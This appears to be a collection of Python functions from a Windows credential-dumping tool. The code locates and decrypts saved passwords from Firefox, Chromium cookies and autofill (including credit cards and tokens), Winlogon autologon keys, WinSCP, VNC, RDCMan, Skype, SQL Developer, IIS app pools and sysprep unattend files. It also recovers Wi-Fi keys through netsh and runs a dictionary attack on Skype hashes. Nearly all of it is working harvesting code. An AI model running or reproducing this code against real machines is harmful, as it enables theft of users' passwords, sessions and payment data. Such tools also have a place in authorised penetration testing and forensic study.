def run(self, profile): settings = [ os.path.join(profile['LOCALAPPDATA'], 'Microsoft Corporation\\Remote Desktop Connection Manager\\RDCMan.settings'), os.path.join(profile['LOCALAPPDATA'], 'Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings') ] for setting in settings: if os.path.exists(setting): log.debug('Setting file found: {setting}'.format(setting=setting)) tree = ElementTree(file=setting) root = tree.getroot() pwd_found = [] elements = [ 'CredentialsProfiles/credentialsProfiles/credentialsProfile', 'DefaultGroupSettings/defaultSettings/logonCredentials', 'file/server', ] for element in elements: pwd_found += self.parse_element(profile, root, element) try: for r in root.find('FilesToOpen'): if os.path.exists(r.text): log.debug('New setting file found: %s' % r.text) pwd_found += self.parse_xml(r.text) except Exception: pass return pwd_found
def get_login_data(self, prof): """ Get encrypted data (user / password) and host from the json or sqlite files """ logins = [] try: conn = sqlite3.connect(os.path.join(prof, 'signons.sqlite')) c = conn.cursor() c.execute('SELECT * FROM moz_logins;') # Using sqlite3 database for row in c: enc_username = row[6] enc_password = row[7] logins.append((self.decode_login_data(enc_username), self.decode_login_data(enc_password), row[1])) conn.close() except sqlite3.OperationalError: # Since Firefox 32, json is used instead of sqlite3 try: for row in json.load(open(os.path.join( prof, 'logins.json')))['logins']: enc_username = row['encryptedUsername'] enc_password = row['encryptedPassword'] logins.append((self.decode_login_data(enc_username), self.decode_login_data(enc_password), row['hostname'])) except Exception: log.debug(traceback.format_exc()) return logins
def run(self): pwd_found = [] try: hkey = OpenKey( winreg.HKEY_LOCAL_MACHINE, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon') if int(winreg.QueryValueEx(hkey, 'AutoAdminLogon')[0]) == 1: log.debug('Autologin enabled') keys = { 'DefaultDomainName': '', 'DefaultUserName': '', 'DefaultPassword': '', 'AltDefaultDomainName': '', 'AltDefaultUserName': '', 'AltDefaultPassword': '', } for k in list(keys): try: keys[k] = str(winreg.QueryValueEx(hkey, k)[0]) except Exception: del keys[k] if keys: pwd_found.append(keys) except Exception as e: log.debug(str(e)) return pwd_found
def check_openvpn_installed(self): try: key = OpenKey(winreg.HKEY_CURRENT_USER, 'Software\\OpenVPN-GUI\\Configs') return key except Exception as e: log.debug(str(e))
def get_info(self, key, username, path): if os.path.exists(os.path.join(path, 'config.xml')): values = {} try: values['Login'] = username # get encrypted hash from the config file enc_hex = self.get_hash_credential( os.path.join(path, 'config.xml')) if not enc_hex: log.warning('No credential stored on the config.xml file.') else: # decrypt the hash to get the md5 to brue force values['Hash'] = self.get_md5_hash(enc_hex, key) values['Pattern to bruteforce using md5'] = values[ 'Login'] + '\\nskyper\\n<password>' # Try a dictionary attack on the hash password = self.dictionary_attack(values['Login'], values['Hash']) if password: values['Password'] = password return list(values.values()) except Exception as e: log.debug(str(e))
def trySingleKey(self, profile, keyPath): try: hkey = OpenKey(winreg.HKEY_CURRENT_USER, keyPath) except Exception as e: log.debug(e) return num = winreg.QueryInfoKey(hkey)[0] pwd_found = [] for x in range(0, num): name = winreg.EnumKey(hkey, x) skey = OpenKey(hkey, name, 0, winreg.ACCESS_READ) num_skey = winreg.QueryInfoKey(skey)[0] if num_skey != 0: for y in range(0, num_skey): name_skey = winreg.EnumKey(skey, y) sskey = OpenKey(skey, name_skey) num_sskey = winreg.QueryInfoKey(sskey)[1] for z in range(0, num_sskey): k = winreg.EnumValue(sskey, z) if 'password' in k[0].lower(): values = self.retrieve_info( profile, sskey, name_skey) if values: pwd_found.append(values) winreg.CloseKey(skey) winreg.CloseKey(hkey) return pwd_found
def decrypt_password(self, username, hostname, _hash): self.hash = _hash hex_flag = 0xFF flag = self.decrypt_char() if flag == hex_flag: self.decrypt_char() length = self.decrypt_char() else: length = flag ldel = (self.decrypt_char()) * 2 self.hash = self.hash[ldel:len(self.hash)] result = '' for ss in range(length): try: result += chr(int(self.decrypt_char())) except Exception as e: log.debug(str(e)) if flag == hex_flag: key = username + hostname result = result[len(key):len(result)] return result
def cookie_dump(self, profile, db_path, master_key=None): length = 0 try: conn = sqlite3.connect(db_path) conn.text_factory = bytes cursor = conn.cursor() cursor.execute( 'SELECT host_key, name, encrypted_value FROM cookies') except Exception: log.debug(traceback.format_exc()) return 0 for host_key, name, encrypted_value in cursor.fetchall(): try: decrypted_value = self.dump(profile, encrypted_value, master_key, False) cursor.execute( "UPDATE cookies SET encrypted_value = ? WHERE host_key = ? AND name = ?", (decrypted_value, host_key.decode(), name.decode())) length += 1 except Exception: log.debug(traceback.format_exc()) conn.commit() conn.close() return length
def check_winscp_installed(self): try: key = OpenKey( winreg.HKEY_CURRENT_USER, 'Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security') return key except Exception as e: log.debug(str(e)) return False
def run(self, profile): windir = os.path.join(profile['HOMEDRIVE'], os.sep, 'Windows') files = [ 'Panther\\Unattend.xml', 'Panther\\Unattended.xml', 'Panther\\Unattend\\Unattended.xml', 'Panther\\Unattend\\Unattend.xml', 'System32\\Sysprep\\unattend.xml', 'System32\\Sysprep\\Panther\\unattend.xml' ] pwd_found = [] xmlns = '{urn:schemas-microsoft-com:unattend}' for file in files: path = os.path.join(windir, file) if os.path.exists(path): log.debug('Unattended file found: %s' % path) tree = ElementTree(file=path) root = tree.getroot() for setting in root.findall('%ssettings' % xmlns): component = setting.find('%scomponent' % xmlns) auto_logon = component.find('%sauto_logon' % xmlns) if auto_logon: username = auto_logon.find('%sUsername' % xmlns) password = auto_logon.find('%sPassword' % xmlns) if all((username, password)): # Remove false positive (with following message on password => *SENSITIVE*DATA*DELETED*) if 'deleted' not in password.text.lower(): pwd_found.append({ 'Login': username.text, 'Password': self.try_b64_decode(password.text) }) user_accounts = component.find('%suser_accounts' % xmlns) if user_accounts: local_accounts = user_accounts.find( '%slocal_accounts' % xmlns) if local_accounts: for local_account in local_accounts.findall( '%slocal_account' % xmlns): username = local_account.find('%sName' % xmlns) password = local_account.find('%sPassword' % xmlns) if all((username, password)): if 'deleted' not in password.text.lower(): pwd_found.append({ 'Login': username.text, 'Password': self.try_b64_decode(password.text) }) return list(pwd_found)
def unhex(self, s): try: s = codecs.decode(s, 'hex') except TypeError as e: if e.message == 'Odd-length string': log.debug('%s . Chopping last char off... "%s"' % (e.message, s[:-1])) s = codecs.decode(s[:-1], 'hex') else: return False return s
def get_registry_key(self, reg_key, parameter): data = '' try: if reg_key.startswith('HKEY_LOCAL_MACHINE'): hkey = winreg.OpenKey( winreg.HKEY_LOCAL_MACHINE, reg_key.replace('HKEY_LOCAL_MACHINE\\', '')) data = winreg.QueryValueEx(hkey, parameter)[0] except Exception as e: log.debug(e) return data
def execute_get_stdout(self, exe_file, arguments): try: proc = subprocess.Popen(exe_file + " " + arguments, shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE) except: log.debug('Error executing {exefile}'.format(exefile=exe_file)) return None return proc.stdout
def decrypt_using_netsh(self, ssid): """ Does not need admin priv but would work only with english and french systems """ language_keys = [b'key content', b'contenu de la cl', 'содержимое ключа'.encode('utf-8')] log.debug('Trying using netsh method') process = Popen(['netsh.exe', 'wlan', 'show', 'profile', str(ssid), 'key=clear'], stdin=PIPE, stdout=PIPE, stderr=PIPE) stdout, stderr = process.communicate() for st in stdout.split(b'\n'): if any(i in st.lower() for i in language_keys): return st.split(b':')[1].strip()
def get_hash_table(self): # get the url list urls = self.get_history() # calculate the hash for all urls found on the history hash_tables = [] for u in range(len(urls)): try: h = (urls[u] + '\0').encode('UTF-16LE') hash_tables.append([h, hashlib.sha1(h).hexdigest().lower()]) except Exception: log.debug(traceback.format_exc()) return hash_tables
def create_RSAKeyValueFile(self, exe_file, container): tmp_file = "".join( choice(string.ascii_letters + string.digits) for x in range(randint(8, 10))) + ".xml" try: os.system(exe_file + " -px " + container + " " + tmp_file + " -pri > nul") except OSError: log.debug( 'Error executing {container}'.format(container=container)) tmp_file = '' return tmp_file
def get_history(self): urls = self.history_from_regedit() try: urls = urls + self.history_from_powershell() except Exception: log.debug(traceback.format_exc()) urls = urls + [ 'https://www.facebook.com/', 'https://www.gmail.com/', 'https://accounts.google.com/', 'https://accounts.google.com/servicelogin' ] return urls
def vnc_from_registry(self): pfound = [] vncs = ( ('RealVNC 4.x', 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4', 'Password'), ('RealVNC 3.x', 'HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\vncserver', 'Password'), ('RealVNC 4.x', 'HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4', 'Password'), ('RealVNC 4.x', 'HKEY_CURRENT_USER\\SOFTWARE\\RealVNC\\WinVNC4', 'Password'), ('RealVNC 3.x', 'HKEY_CURRENT_USER\\Software\\ORL\\WinVNC3', 'Password'), ('TightVNC', 'HKEY_CURRENT_USER\\Software\\TightVNC\\Server', 'Password'), ('TightVNC', 'HKEY_CURRENT_USER\\Software\\TightVNC\\Server', 'PasswordViewOnly'), ('TightVNC', 'HKEY_LOCAL_MACHINE\\Software\\TightVNC\\Server', 'Password'), ('TightVNC ControlPassword', 'HKEY_LOCAL_MACHINE\\Software\\TightVNC\\Server', 'ControlPassword'), ('TightVNC', 'HKEY_LOCAL_MACHINE\\Software\\TightVNC\\Server', 'PasswordViewOnly'), ('TigerVNC', 'HKEY_LOCAL_MACHINE\\Software\\TigerVNC\\Server', 'Password'), ('TigerVNC', 'HKEY_CURRENT_USER\\Software\\TigerVNC\\Server', 'Password'), ) for vnc in vncs: try: if vnc[1].startswith('HKEY_LOCAL_MACHINE'): hkey = OpenKey(winreg.HKEY_LOCAL_MACHINE, vnc[1].replace('HKEY_LOCAL_MACHINE\\', '')) elif vnc[1].startswith('HKEY_CURRENT_USER'): hkey = OpenKey(winreg.HKEY_CURRENT_USER, vnc[1].replace('HKEY_CURRENT_USER\\', '')) reg_key = winreg.QueryValueEx(hkey, vnc[2])[0] except Exception: log.debug('Problems with key:: {reg_key}'.format(reg_key=vnc[1])) continue try: enc_pwd = binascii.hexlify(reg_key).decode() except Exception: log.debug('Problems with decoding: {reg_key}'.format(reg_key=reg_key)) continue values = {} try: password = self.reverse_vncpassword(enc_pwd) if password: values['Password'] = password except Exception: log.info('Problems with reverse_vncpassword: {reg_key}'.format(reg_key=reg_key)) continue values['Server'] = vnc[0] # values['Hash'] = enc_pwd pfound.append(values) return pfound
def run(self, profile): """ Main function """ credentials = {} cookies = [] path = self.path.format(**profile) if not os.path.exists(path): return [] for prof in self.get_firefox_profiles(path): log.debug(f'Profile path found: {prof}') cookie = os.path.join(prof, 'cookies.sqlite') if os.path.isfile(cookie): cookies.append(cookie) creds = self.get_login_data(prof) if not creds: log.info('Database empty') continue pwd_found = [] for key in self.get_key(prof): for user, passw, url in creds: try: pwd_found.append([ url, unpad( DES3.new(key, DES3.MODE_CBC, user[1]).decrypt(user[2]), 8).decode(), unpad( DES3.new(key, DES3.MODE_CBC, passw[1]).decrypt(passw[2]), 8).decode() ]) except Exception: log.debug( 'An error occured decrypting the password: {error}' .format(error=traceback.format_exc())) if pwd_found: credentials[prof] = pwd_found ret = {} if cookies: ret['Cookies'] = cookies if credentials: ret['Credentials'] = credentials return ret
def get_credentials(self): try: key = OpenKey(winreg.HKEY_CURRENT_USER, 'Software\\Martin Prikryl\\WinSCP 2\\Sessions') except Exception as e: log.debug(str(e)) return False pwd_found = [] num_profiles = winreg.QueryInfoKey(key)[0] for n in range(num_profiles): name_skey = winreg.EnumKey(key, n) skey = OpenKey(key, name_skey) num = winreg.QueryInfoKey(skey)[1] values = {} elements = { 'HostName': 'URL', 'UserName': '******', 'PortNumber': 'Port', 'Password': '******' } for nn in range(num): k = winreg.EnumValue(skey, nn) for e in elements: if k[0] == e: if e == 'Password': try: values['Password'] = self.decrypt_password( username=values.get('Login', ''), hostname=values.get('URL', ''), _hash=k[1]) except Exception as e: log.debug(str(e)) else: values[elements[k[0]]] = str(k[1]) if num != 0: if 'Port' not in values: values['Port'] = '22' pwd_found.append(values) winreg.CloseKey(skey) winreg.CloseKey(key) return pwd_found
def get_regkey(self, profile): try: key_path = 'Software\\Skype\\ProtectedStorage' try: hkey = OpenKey(winreg.HKEY_CURRENT_USER, key_path) except Exception as e: log.debug(str(e)) return False # num = winreg.QueryInfoKey(hkey)[1] k = winreg.EnumValue(hkey, 0)[1] result_bytes = CryptUnprotectData(k, profile) return result_bytes.decode() except Exception as e: log.debug(str(e)) return False
def webdata_dump(self, profile, db_path, master_key=None): d = { 'autofill': ['value', 'value_lower'], 'autofill_profile_edge_extended': ['date_of_birth'], 'autofill_profile_emails': ['email'], 'autofill_profile_names': ['first_name', 'middle_name', 'last_name', 'full_name'], 'autofill_profile_phones': ['number'], 'autofill_profiles': [ 'company_name', 'street_address', 'dependent_locality', 'city', 'state', 'zipcode', 'sorting_code', 'country_code' ], 'credit_card_tags_v2': ['tag'], 'credit_cards': [ 'name_on_card', 'expiration_month', 'expiration_year', 'card_number_encrypted' ], 'token_service': ['encrypted_token'] } length = 0 for i in d: try: conn = sqlite3.connect(db_path) cursor = conn.cursor() cursor.execute( f'SELECT {"service" if i == "token_service" else "guid"}, {", ".join(d[i])} FROM {i}' ) except Exception: log.debug(traceback.format_exc()) continue for res in cursor.fetchall(): try: result = [ self.dump(profile, me, master_key, False) for me in res[1:] ] + [res[0]] cursor.execute( f'UPDATE {i} SET {" = ?, ".join(d[i])} = ? WHERE {"service" if i == "token_service" else "guid"} = ?', tuple(result)) length += 1 except Exception: log.debug(traceback.format_exc()) conn.commit() conn.close() return length
def run(self): ccp_enabled = self.get_registry_key( 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\IIS\\CentralCertProvider', 'Enabled') if ccp_enabled != 1: log.debug('IIS CentralCertProvider is not enabled') return exe_files = self.find_files( os.environ['WINDIR'] + '\\Microsoft.NET\\Framework64\\', 'aspnet_regiis.exe') if len(exe_files) == 0: exe_files = self.find_files( os.environ['WINDIR'] + '\\Microsoft.NET\\Framework\\', 'aspnet_regiis.exe') if len(exe_files) == 0: log.debug('File not found aspnet_regiis.exe') return log.info( 'aspnet_regiis.exe files found: {files}'.format(files=exe_files)) rsa_xml_file = self.create_RSAKeyValueFile(exe_files[-1], "iisWASKey") if rsa_xml_file == '': log.debug('Problems extracting RSA Key Value') return with open(rsa_xml_file, 'rb') as File: rsa_key_xml = File.read() os.remove(rsa_xml_file) log.debug( 'Temporary file removed: {filename}'.format(filename=rsa_xml_file)) privkey = self.read_RSAKeyValue(rsa_key_xml) values = {} CertStoreLocation = self.get_registry_key( 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\IIS\\CentralCertProvider', 'CertStoreLocation') values['CertStoreLocation'] = CertStoreLocation username = self.get_registry_key( 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\IIS\\CentralCertProvider', 'Username') values['Username'] = username pass64 = self.get_registry_key( 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\IIS\\CentralCertProvider', 'Password') values['Password'] = self.decrypt_hash_b64(pass64, privkey) privpass64 = self.get_registry_key( 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\IIS\\CentralCertProvider', 'PrivateKeyPassword') values['Private Key Password'] = self.decrypt_hash_b64( privpass64, privkey) return values
def history_from_regedit(self): urls = [] try: hkey = OpenKey( winreg.HKEY_CURRENT_USER, 'Software\\Microsoft\\Internet Explorer\\TypedURLs') except Exception: log.debug(traceback.format_exc()) return [] num = winreg.QueryInfoKey(hkey)[1] for x in range(0, num): k = winreg.EnumValue(hkey, x) if k: urls.append(k[1]) winreg.CloseKey(hkey) return urls
def run(self, profile): if float('.'.join(platform.version().split('.')[:2])) > 6.1: log.debug( 'Internet Explorer passwords are stored in Vault (check vault module)' ) return pwd_found = set() try: hkey = OpenKey( winreg.HKEY_CURRENT_USER, 'Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2' ) except Exception: log.debug(traceback.format_exc()) else: nb_site = 0 nb_pass_found = 0 # retrieve the urls from the history hash_tables = self.get_hash_table() num = winreg.QueryInfoKey(hkey)[1] for x in range(0, num): k = winreg.EnumValue(hkey, x) if k: nb_site += 1 for h in hash_tables: # both hash are similar, we can decipher the password if h[1] == k[0][:40].lower(): nb_pass_found += 1 cipher_text = k[1] pwd_found |= self.decipher_password( profile, cipher_text, h[0]) break winreg.CloseKey(hkey) # manage errors if nb_site > nb_pass_found: log.error( '%s hashes have not been decrypted, the associate website used to decrypt the ' 'passwords has not been found' % str(nb_site - nb_pass_found)) return list(pwd_found)
def read_RSAKeyValue(self, rsa_key_xml): xmlStructure = minidom.parseString(rsa_key_xml) MODULUS = self.GetLong( xmlStructure.getElementsByTagName('Modulus')[0].childNodes) EXPONENT = self.GetLong( xmlStructure.getElementsByTagName('Exponent')[0].childNodes) D = self.GetLong(xmlStructure.getElementsByTagName('D')[0].childNodes) P = self.GetLong(xmlStructure.getElementsByTagName('P')[0].childNodes) Q = self.GetLong(xmlStructure.getElementsByTagName('Q')[0].childNodes) InverseQ = self.GetLong( xmlStructure.getElementsByTagName('InverseQ')[0].childNodes) privkey = rsa.PrivateKey(MODULUS, EXPONENT, D, P, Q) log.debug('RSA Key Value - PEM:\n {RSAkey}'.format( RSAkey=privkey.save_pkcs1(format='PEM'))) return privkey
def run(self, profile): path = os.path.join(profile['APPDATA'], 'SQL Developer') if not os.path.exists(path): return _passphrase = self.get_passphrase(path) if not self._passphrase: return log.debug('Passphrase found: {passphrase}'.format(passphrase=_passphrase)) xml_name = 'connections.xml' xml_file = None if os.path.exists(os.path.join(path, xml_name)): xml_file = os.path.join(path, xml_name) else: for p in os.listdir(path): if p.startswith('system'): new_directory = os.path.join(path, p) for pp in os.listdir(new_directory): if pp.startswith('o.jdeveloper.db.connection'): if os.path.exists(os.path.join(new_directory, pp, xml_name)): xml_file = os.path.join(new_directory, pp, xml_name) break if xml_file: renamed_value = {'sid': 'SID', 'port': 'Port', 'hostname': 'Host', 'user': '******', 'password': '******', 'ConnName': 'Name', 'customUrl': 'URL', 'SavePassword': '******', 'driver': 'Driver'} tree = ElementTree(file=xml_file) pwd_found = [] for e in tree.findall('Reference'): values = {} for ee in e.findall('RefAddresses/StringRefAddr'): if ee.attrib['addrType'] in renamed_value and ee.find('Contents').text is not None: name = renamed_value[ee.attrib['addrType']] value = ee.find('Contents').text if name != 'Password' else self.decrypt(ee.find('Contents').text, _passphrase) values[name] = value pwd_found.append(values) return pwd_found
def run(self): pwd_found = [] exe_files = self.find_files( os.environ['WINDIR'] + '\\System32\\inetsrv', 'appcmd.exe') if len(exe_files) == 0: log.debug('File not found appcmd.exe') return log.info('appcmd.exe files found: {files}'.format(files=exe_files)) output = self.execute_get_stdout(exe_files[-1], 'list apppool') if output is None: log.debug('Problems with Application Pool list') return app_list = [] for line in output.readlines(): app_list.append(re.findall(r'".*"', line)[0].split('"')[1]) for app in app_list: values = {} username = '' password = '' output = self.execute_get_stdout( exe_files[-1], 'list apppool ' + app + ' /text:*') for line in output.readlines(): if re.search(r'userName:"******"', line): username = re.findall(r'userName:"******"', line)[0].split('"')[1] if re.search(r'password:"******"', line): password = re.findall(r'password:"******"', line)[0].split('"')[1] if password != '': values['AppPool.Name'] = app values['Username'] = username values['Password'] = password pwd_found.append(values) return pwd_found
def is_master_password_correct(self, key_data, master_password=b'', new_version=True): try: entry_salt = b"" if not new_version: # See http://www.drh-consultancy.demon.co.uk/key3.html pwd_check = key_data.get(b'password-check') if not pwd_check: return '', '', '' # Hope not breaking something (not tested for old version) # entry_salt_len = char_to_int(pwd_check[1]) # entry_salt = pwd_check[3: 3 + entry_salt_len] # encrypted_passwd = pwd_check[-16:] global_salt = key_data[b'global-salt'] else: global_salt = key_data[0] # Item1 item2 = key_data[1] # self.print_asn1(item2, len(item2), 0) # SEQUENCE { # SEQUENCE { # OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3 # SEQUENCE { # OCTETSTRING entry_salt_for_passwd_check # INTEGER 01 # } # } # OCTETSTRING encrypted_password_check # } decoded_item2 = decoder.decode(item2) cleartext_data = self.decrypt_3des(decoded_item2, master_password, global_salt) if cleartext_data != b'password-check\x02\x02': return '', '', '' return global_salt, master_password, entry_salt except Exception: log.debug(traceback.format_exc()) return '', '', ''
def parse_element(self, profile, root, element): pwd_found = [] try: for r in root.findall(element): values = {} for child in r.getchildren(): if child.tag == 'properties': for c in child.getchildren(): values = self.check_tag_content(profile, values, c) elif child.tag == 'logonCredentials': for c in child.getchildren(): values = self.check_tag_content(profile, values, c) else: values = self.check_tag_content(profile, values, child) if values: pwd_found.append(values) except Exception as e: log.debug(str(e)) return pwd_found